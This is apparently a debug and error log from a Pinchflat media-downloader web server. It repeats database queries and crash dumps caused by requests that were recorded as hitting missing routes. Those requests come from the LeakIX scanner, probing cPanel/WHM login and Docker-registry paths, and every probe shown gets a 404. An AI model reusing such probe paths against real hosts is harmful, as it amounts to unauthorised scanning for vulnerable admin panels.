idle=181.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.519 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:33.520 [debug] QUERY OK source="media_items" db=1.5ms idle=0.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:33.521 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:33.519 [error] #PID<0.162724.0> running PinchflatWeb.Endpoint (connection #PID<0.162723.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /___proxy_subdomain_whm/login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37960}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162724.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI1gNcumnRrEACTlj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37960}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37960}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162724.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", " (truncated) 17:50:33.521 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.521 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.522 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.522 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:33.523 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:33.523 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:33.524 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:33.526 [debug] QUERY OK source="media_items" db=1.3ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:33.527 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:33.528 [info] Sent 200 in 10ms 17:50:33.819 [info] GET /___proxy_subdomain_cpanel 17:50:33.819 [debug] QUERY OK source="settings" db=0.2ms idle=296.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.820 [debug] QUERY OK source="settings" db=0.1ms idle=295.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:33.820 [error] #PID<0.162726.0> running PinchflatWeb.Endpoint (connection #PID<0.162725.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /___proxy_subdomain_cpanel ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37970}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162726.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI2n5XGZHtvcAFoRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37970}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37970}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162726.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI2n5XGZHtvcAFoRh"} ], (truncated) 17:50:33.919 [info] GET /___proxy_subdomain_whm/login 17:50:33.920 [debug] QUERY OK source="settings" db=0.2ms idle=395.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.920 [debug] QUERY OK source="settings" db=0.1ms idle=394.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.920 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:33.921 [error] #PID<0.162728.0> running PinchflatWeb.Endpoint (connection #PID<0.162727.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /___proxy_subdomain_whm/login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37980}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162728.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI2_7hHnzX7cAFoSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37980}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37980}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162728.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dI2_7hHnz (truncated) 17:50:34.183 [info] GET /v2/_catalog 17:50:34.184 [info] Sent 404 in 1ms 17:50:34.184 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:34.290 [info] GET /___proxy_subdomain_cpanel 17:50:34.290 [debug] QUERY OK source="settings" db=0.2ms idle=762.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:34.291 [debug] QUERY OK source="settings" db=0.1ms idle=471.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 